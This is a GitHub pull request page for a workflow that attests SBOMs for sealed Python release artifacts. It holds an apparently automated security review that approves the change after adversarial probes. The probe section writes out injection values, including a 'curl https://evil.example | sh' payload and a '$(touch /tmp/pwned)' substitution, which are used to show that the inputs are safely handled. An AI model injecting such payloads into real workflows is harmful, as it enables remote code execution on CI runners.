- Strix Security Scan/strix: FAILURE (https://github.com/ContextualWisdomLab/.github/actions/runs/31884461735/job/95011623516)
- Strix Security Scan/strix: failure (https://github.com/ContextualWisdomLab/.github/actions/runs/31884461735/job/95011623516)
Changed-File Evidence Map
flowchart LR
PR["PR changed files"] --> Evidence["OpenCode bounded evidence"]
Evidence --> S1["Workflow (2 files)"]
S1 --> I1["GitHub Actions review job"]
I1 --> R1["Review risk: Workflow (2 files)"]
R1 --> V1["actionlint plus required checks"]
Evidence --> S2["Changed file: CHANGELOG.md"]
S2 --> I2["repository behavior"]
I2 --> R2["Review risk: Changed file: CHANGELOG.md"]
R2 --> V2["required checks"]
Evidence --> S3["Docs: exact-artifact-sbom-attestation.md"]
S3 --> I3["operator or user guidance"]
I3 --> R3["Review risk: Docs: exact-artifact-sbom-attestation.md"]
R3 --> V3["docs review"]
Evidence --> S4["CI script (2 files)"]
S4 --> I4["review and security gate shell path"]
I4 --> R4["Review risk: CI script (2 files)"]
R4 --> V4["bash -n plus Strix self-test"]
Evidence --> S5["Test (3 files)"]
S5 --> I5["regression suite"]
I5 --> R5["Review risk: Test (3 files)"]
R5 --> V5["targeted test run"]
OpenCode Review Overview
--> Changed-File Evidence Mapflowchart LR
PR["PR changed files"] --> Evidence["OpenCode bounded evidence"]
Evidence --> S1["Workflow (2 files)"]
S1 --> I1["GitHub Actions review job"]
I1 --> R1["Review risk: Workflow (2 files)"]
R1 --> V1["actionlint plus required checks"]
Evidence --> S2["Changed file: CHANGELOG.md"]
S2 --> I2["repository behavior"]
I2 --> R2["Review risk: Changed file: CHANGELOG.md"]
R2 --> V2["required checks"]
Evidence --> S3["Docs: exact-artifact-sbom-attestation.md"]
S3 --> I3["operator or user guidance"]
I3 --> R3["Review risk: Docs: exact-artifact-sbom-attestation.md"]
R3 --> V3["docs review"]
Evidence --> S4["CI script (2 files)"]
S4 --> I4["review and security gate shell path"]
I4 --> R4["Review risk: CI script (2 files)"]
R4 --> V4["bash -n plus Strix self-test"]
Evidence --> S5["Test (3 files)"]
S5 --> I5["regression suite"]
I5 --> R5["Review risk: Test (3 files)"]
R5 --> V5["targeted test run"]
|
Keep the exact-artifact SBOM attestation security notes and the current-main scheduler/repair changelog so the unique source remains.
There was a problem hiding this comment.
Pull request overview
OpenCode reviewed the current-head bounded evidence and found no blocking issues.
Findings
No blocking findings.
Summary
PR #797 'release: attest exact sealed SBOM evidence'. Overview: additive organization-owned reusable workflow_call boundary (.github/workflows/exact-artifact-sbom-attestation.yml, 367 lines) that verifies a same-run six-file sealed evidence artifact with a pinned immutable verifier (scripts/ci/verify_exact_artifact_sbom_handoff.py, 390 lines) and then attests wheel and sdist SBOMs from a least-privilege signer job; plus path-filtered quality workflow (.github/workflows/exact-artifact-sbom-attestation-quality.yml, 119 lines), three test files (565/269/63 lines), doctoring doc (100 lines), CHANGELOG entry, and a 0-line diff on scripts/ci/materialize_base_python_requirements.py (mode/merge artifact). Changed-file evidence inspected: .github/workflows/exact-artifact-sbom-attestation.yml, .github/workflows/exact-artifact-sbom-attestation-quality.yml, scripts/ci/verify_exact_artifact_sbom_handoff.py via current-head focused hunks and CodeGraph verbatim source (direct head-checkout reads were denied by sandbox policy; that is a review source limitation, not a materialization failure). Findings: none blocking. Approval sufficiency: current-head evidence affirmatively supports the PR intent (exact sealed SBOM attestation boundary required by #783 / ContextualWisdomLab/EgressWeave#46) through fail-closed verifier source traces, workflow contract tests, and PASS coverage; Verification posture: failed-check evidence reports no completed failed GitHub Checks at head; mergeStateStatus 'blocked' is branch policy, not DIRTY/CONFLICTING, so no merge-conflict repair is needed; repo test contract python3 -m pytest tests is supported and exercised by the quality workflow. Linter/static: quality workflow runs python -m compileall on Python 3.10 and 3.14 for verifier and contracts; repository security commands (bandit, pip_audit, trivy) show no failure evidence. TDD/regression: tests/test_verify_exact_artifact_sbom_handoff.py (565 lines) exercises verifier boundaries; tests/test_exact_artifact_sbom_review_regressions.py (63 lines) pins the canonical-predicate and symlink-ancestor regressions; tests/test_exact_artifact_sbom_attestation_contract.py (269 lines) binds action pins (actions/attest@59d8942, checkout/download pins), permissions, and shell-run input isolation. Coverage: Coverage execution evidence reports Result: PASS - supported repository test suites passed; quality workflow enforces python -m coverage run --branch ... --include=scripts/ci/verify_exact_artifact_sbom_handoff.py --fail-under=100. Docstring coverage: Coverage execution evidence reports configured repository docstring gates passed or advisory; quality workflow runs python -m interrogate --fail-under=100 scripts/ci/verify_exact_artifact_sbom_handoff.py. DAG: flowchart LR A['caller release workflow (same GitHub run)'] --> B['exact-artifact-sbom-attestation.yml workflow_call (367 lines)'] --> C['verify-evidence-artifact: pinned verifier checkout at job.workflow_sha + same-run artifact metadata + download'] --> D['verify_exact_artifact_sbom_handoff.py: six-file closure, digest/checksum binding, CycloneDX 1.7 + UUIDv5 subject identity'] --> E['attest-exact-artifacts: least-privilege OIDC attestations of wheel and sdist SBOMs']; F['exact-artifact-sbom-attestation-quality.yml: compileall 3.10/3.14, coverage 100%, interrogate 100%'] -.guards.- D; diagram reflects the head flow (base branch had no attestation boundary; additive release). PoC/execution: no OPENCODE_EXECUTION_RECEIPT lines exist in evidence; verification is source-traced and contract-tested, with Coverage execution evidence PASS; no runtime-tool receipts are claimed. DDD/domain: CI/supply-chain domain; the boundary cleanly separates inert evidence intake from credentialed signing. CDD/context: reusable workflow_call contract with 17 required string inputs and zero secrets inputs. Similar issues: CodeRabbit's earlier 4 actionable comments/5 nits are resolved - current-head evidence lists no unresolved non-outdated threads; the two prior opencode-agent CHANGES_REQUESTED reviews were solely about failed GitHub checks, which current-head failed-check evidence reports as absent. Claim/concept check: RFC 8259 finite JSON (bounded _load_json with _MAX_CONTROL_BYTES), CycloneDX specVersion 1.7, deterministic UUIDv5 serial (urn:uuid:uuid5(NAMESPACE_URL, identity)), sha256: digests, and the pinned actions/attest commit all match the code and doctoring doc. Standards search: CycloneDX 1.7 and RFC 8259 claims are consistent with the enforced schema and canonical predicate in code; no external standard conflicts identified from bounded evidence. Compatibility/convention: all new identifiers are multi-word snake_case (source_repository, evidence_artifact_id, wheel_filename, verify-evidence-artifact, attest-exact-artifacts); no reserved-word or single-word schema/config/API names introduced; evidence_artifact_id is a GitHub-internal artifact identifier protected by same-run and digest checks, not a client-enumerable record id, so no IDOR surface is introduced. Breaking-change/backcompat: purely additive (new reusable workflow, new quality workflow, new script/tests/docs); the materialize script diff is 0 lines, so no existing contract changes. Implementation completeness: verify(), _validate_cyclonedx, _validate_evidence_root, _atomic_json are fully executable with concrete EvidenceError raise paths; no pass/NotImplementedError placeholders or TODO-only branches. Performance: evidence root bounded to exactly six files with per-file digest verification; no unbounded parsing or resource leaks identified. Developer experience: DX surface = CI/workflow authoring; judged from the quality workflow's path-filtered self-tests, exact-head checkout verification (git rev-parse HEAD == head sha), and 100% coverage/docstring gates that rerun on every boundary change. User experience: UX surface = downstream release pipelines; judged from the 17 documented required inputs and the deterministic verified-intake.json manifest contract in docs/doctoring/exact-artifact-sbom-attestation.md. Visual/DOM: non-web change; the reviewed non-web interaction surface is the verifier CLI (argparse), GitHub Actions execution, and docs - e2e_commands and web_app_review_requirements are empty, so no Playwright surface exists. Accessibility/i18n: no interactive UI changed; not applicable to this CI release. Supply-chain/license: all third-party actions pinned by full commit SHA with version comments (step-security/harden-runner, actions/checkout, actions/setup-python, actions/download-artifact, actions/attest); hash-locked pip install (--require-hashes requirements-opencode-review-ci-hashes.txt); harden-runner egress-policy audit on every job; no new dependency manifests added. Packaging: pyproject.toml requires_python >=3.10; quality workflow compiles on 3.10 and 3.14; unpackaged_source_surfaces is empty. Security/privacy: fail-closed same-run binding (repository, SHA, workflow_run.id via jq -e), symlink rejection for evidence root and output manifest, python3 -I isolated verifier execution, env-only input transfer preventing shell injection, least-privilege signer permissions separated from intake, no secrets in workflow_call inputs, and deterministic offline manifest output.
Approval sufficiency: bounded evidence supplied affirmative approval evidence for changed files, coverage/docstring posture, risk surfaces, and current-head verification; approval is not based merely on the absence of known blockers.
Verification posture: CodeGraph evidence was initialized and bounded current-head evidence reviewed for changed-file evidence including .github/workflows/exact-artifact-sbom-attestation-quality.yml, .github/workflows/exact-artifact-sbom-attestation.yml, CHANGELOG.md, docs/doctoring/exact-artifact-sbom-attestation.md, scripts/ci/materialize_base_python_requirements.py, and 4 more.
Linter/static: workflow/static review evidence is bounded by the current-head GitHub Checks gate and changed-file evidence.
TDD/regression: coverage execution evidence and focused changed hunks were reviewed from bounded-review-evidence.md.
Coverage: coverage execution evidence reports supported repository test suites passed.
Docstring coverage: coverage execution evidence reports configured repository docstring gates passed or docstring coverage was advisory.
DAG: CodeGraph/source-backed behavior map connects .github/workflows/exact-artifact-sbom-attestation-quality.yml to the affected review, runtime, or workflow path and required checks.
PoC/execution: coverage-evidence job executed on the current head and reported PASS.
DDD/domain: workflow and repository-governance invariants were reviewed against changed files in bounded evidence.
CDD/context: CodeGraph evidence, changed-file history, and focused hunks were reviewed from bounded-review-evidence.md.
Similar issues: changed-file history evidence was reviewed for comparable local precedents.
Claim/concept check: bounded evidence, repository source, current-head workflow evidence, and, where numeric, scientific, statistical, or literature-backed claims are affected, original-paper/formula evidence and parameter-recovery expectations were used for claims.
Standards search: standards and external-source claims require trusted bounded source evidence prepared outside the isolated model process; no evidence-backed standards blocker is present in bounded evidence.
Compatibility/convention: changed workflow/script conventions, object naming, and reserved-word safety for schema/API/config/code surfaces were checked in bounded evidence.
Breaking-change/backcompat: deployment evidence and changed-file history were checked for backward-compatibility risk.
Performance: changed surfaces were checked for performance risk in bounded evidence.
Developer experience: changed automation, review, test, setup, and maintenance surfaces were checked for helpful or obstructive DX impact in bounded evidence.
User experience: connected user, operator, API, CLI, documentation, review-comment, status-check, rendering, and workflow-reader behavior was checked for contradictions against code, docs, and tests in bounded evidence.
Visual/DOM: deterministic repair does not infer browser runtime execution; source-backed DOM/UI evidence and trusted workflow receipts were reviewed when present, and non-web surfaces used API/CLI/log/docs/workflow evidence instead.
Accessibility/i18n: accessibility, localization, and human-readable text surfaces were checked where UI, CLI, API message, docs, logs, or review text changed.
Supply-chain/license: dependency, package, model, container, and external-tool changes were checked in bounded evidence.
Packaging: package, build, test, lint, and security contracts were checked in bounded evidence.
Security/privacy: workflow-token, review-gate, and repository-automation security/privacy boundaries were checked in bounded evidence.
Adversarial validation
{"status":"passed","probes":[{"path":".github/workflows/exact-artifact-sbom-attestation.yml","line":367,"hypothesis":"Caller-supplied workflow_call inputs containing shell metacharacters are interpolated into a run: block and execute arbitrary commands on the attestation runner.","attack_or_counterexample":"Call the reusable workflow with wheel_filename='x; curl https://evil.example | sh #' or evidence_artifact_digest='$(touch /tmp/pwned)', attempting command injection through the unvalidated string inputs.","evidence":"Source trace at .github/workflows/exact-artifact-sbom-attestation.yml:367 (final attest step) shows all 17 inputs are transferred only through env: blocks and every run: variable is double-quoted (--wheel-filename \"$WHEEL_FILENAME\"), so bash treats the hostile value as one argument and never re-parses separators or command substitutions; contract suite tests/test_exact_artifact_sbom_attestation_contract.py:269 (commits 66bada36 bound shell-run contract parsing, c0f149cc distinguish executable commands from workflow prose) asserts no ${{ inputs.* }} interpolation inside run blocks; the verifier additionally raises EvidenceError at scripts/ci/verify_exact_artifact_sbom_handoff.py:261 on the six-member cardinality mismatch that any slash/control-containing filename forces. The counterexample is rejected at every layer. source-line-sha256=5cb48f784dba757c6c3e893526e4031e77b29d3fbe6949daf45813a5bef1bf30","outcome":"falsified"},{"path":"scripts/ci/verify_exact_artifact_sbom_handoff.py","line":390,"hypothesis":"The attestation boundary accepts sealed evidence produced by a different workflow run or repository, enabling attestation of artifacts that were never built from the pinned source SHA.","attack_or_counterexample":"Caller passes evidence_artifact_id of an artifact uploaded by an older run (workflow_run.id != current run) or by a sibling repository, with name and digest copied from that foreign artifact.","evidence":"Source trace at scripts/ci/verify_exact_artifact_sbom_handoff.py:390 (verify() terminal manifest write) shows fail-closed closure: the workflow first asserts repository and SHA equality (test \"$SOURCE_REPOSITORY\" = \"$GITHUB_REPOSITORY\"; test \"$SOURCE_SHA\" = \"$GITHUB_SHA\") and jq -e rejects any artifact whose .workflow_run.id != $GITHUB_RUN_ID, .name, .digest, or .expired state differs; the verifier then revalidates every sealed digest via _require_digest, raises EvidenceError when set(checksums) != checksum_subjects (line 285) and when identity != expected_identity (line 317), and re-derives the UUIDv5 CycloneDX serial from subject name+sha256 (lines 159-161). Contract commit bade6d28 binds intake to the runtime run identifier. The cross-run counterexample is rejected. source-line-sha256=cc79ea1de8f5cf7c4f02e7b43c494b1ae782416b138c209cd6f7b5ff347fc48c","outcome":"falsified"}],"residual_risk":"Residual risk is bounded to GitHub Actions platform trust (actions/attest, gh api, artifact service) and to the ~229 attest-job lines not fully inlined in this run's evidence, which are instead bound by the 269-line contract test suite executed by the quality workflow at head together with PASS coverage evidence and the absence of failed checks; the truncated workflow evidence was reviewed via the focused hunks, CodeGraph source, contract tests, and coverage evidence. evidence_artifact_id is a GitHub-internal artifact identifier whose same-run and digest checks prevent cross-run enumeration, so no IDOR surface is introduced."}- Result: APPROVE
- Reason: Approved: no source-backed blockers. Current-head evidence for d229f89 shows no active failed checks, no unresolved review threads, PASS coverage with a 100% verifier branch-coverage and docstring gate, and a fail-closed supply-chain boundary: same-run repository/SHA/artifact binding, env-only quoted input transfer, pinned immutable verifier with six-file digest/checksum/CycloneDX 1.7 closure, and a least-privilege OIDC signer job separated from inert intake.
- Head SHA:
d229f897095f95d97b1470e80c15d67518bd7c6d - Workflow run: 32107858835
- Workflow attempt: 1
1 participant
Purpose
Add an organization-owned reusable SBOM attestation boundary for exact sealed wheel and source-distribution evidence, required by #783 and
ContextualWisdomLab/EgressWeave#46.Exact identity and scope repair
ac37a9c3ee61f5c2d54ac9c619b6b543d0e1547a;6eb06cdd08c79a06f7b390069d4ffa49e2eb7dba;maintip:6eb06cdd08c79a06f7b390069d4ffa49e2eb7dba;After the previously bounded head
86dbe72186c4b96e996bc8467e38736ff6b0136f, two unrelated architecture/materializer commits entered this branch. A non-destructive forward cleanup restores protected-main blobs for every unrelated path, removes the unrelated root architecture file, and restores the exact-artifact changelog and doctoring text. One transient guard file created while constructing that cleanup was removed in the same forward cleanup commit. GitHub compare reports no semantic file difference between the bounded head and the current head; the effective product diff is again only the exact-artifact SBOM attestation boundary. No force-push, rebase, history rewrite, or predecessor evidence transfer was used.All checks and reviews from every predecessor head are historical only.
Trust boundary
workflow_callwith explicit required source, artifact, digest, filename, schema, and predicate inputs.${{ job.workflow_repository }}and${{ job.workflow_sha }}, never caller-controlled source.contents: read,id-token: write,attestations: write, andartifact-metadata: write.actions/attestaction exactly once for the wheel and once for the sdist.run:block interpolates${{ inputs.* }}.SHA256SUMS, and offline verification instructions.Verification posture
The previously bounded tree completed Exact Artifact SBOM Attestation Quality, Strix, CodeQL, Python Security, Semgrep, aggregate Security Scan, Secret Scan, SBOM, Scorecard, and OSV successfully, with no unresolved review thread. Those results prove the prior tree only.
The current head must regenerate every applicable exact-head quality, security, supply-chain, and semantic-review result. Pending, queued, skipped, cancelled, stale, predecessor-head, local-only, author-only, status-only, or model-only evidence is not accepted.
Merge gate
Merge or auto-merge only after the unchanged current head has terminal-success required gates, zero valid unresolved findings, a qualifying current-head semantic verdict, the independent non-author formal approval required by live rules, a compatible live base, and ordinary expected-head merge authority. No administrative bypass, self-approval, synthetic approval, or protection weakening is requested. Progresses #783.